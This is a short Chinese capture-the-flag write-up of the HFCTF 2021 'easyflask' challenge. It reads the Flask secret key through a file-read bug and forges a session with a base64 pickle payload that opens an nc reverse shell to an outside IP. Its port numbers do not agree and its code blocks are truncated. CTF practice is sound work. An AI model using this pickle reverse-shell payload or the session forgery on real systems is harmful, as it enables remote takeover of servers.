[HFCTF 2021 Final]easyflask
题目给了提示,有文件读取漏洞,读取源码
1 | #!/usr/bin/python3.6 |
我们发现admin目录下面有反序列化函数,但我们不能直接访问
这种情况一般是要我们伪造session
我们找到sessin,看着应该是flask框架的
我们需要找到密钥
我们读取**/proc/self/environ**
1 | glzjin22948575858jfjfjufirijidjitg3uiiuuh |
通过源码可知
1 | u = session.get('u') |
我们可以知道,需要构造的秘钥结构:{“u”:{“b”:“反序列化的内容”}}
1 | import pickle |
我们伪造session
1 | {"u":{"b":"gANjYnVpbHRpbnMKZXZhbApxAFg6AAAAX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDYwLjIwNC4xNTguODcgMTIzNCAtZS9iaW4vc2gnKXEBhXECUnEDLg=="}} |
注:记得加\转义”
得到session,我们在服务器上监听9999端口
1 | nc -lvvp 55555 |
然后访问/admin,修改session
端口监听成功,执行命令,得到flag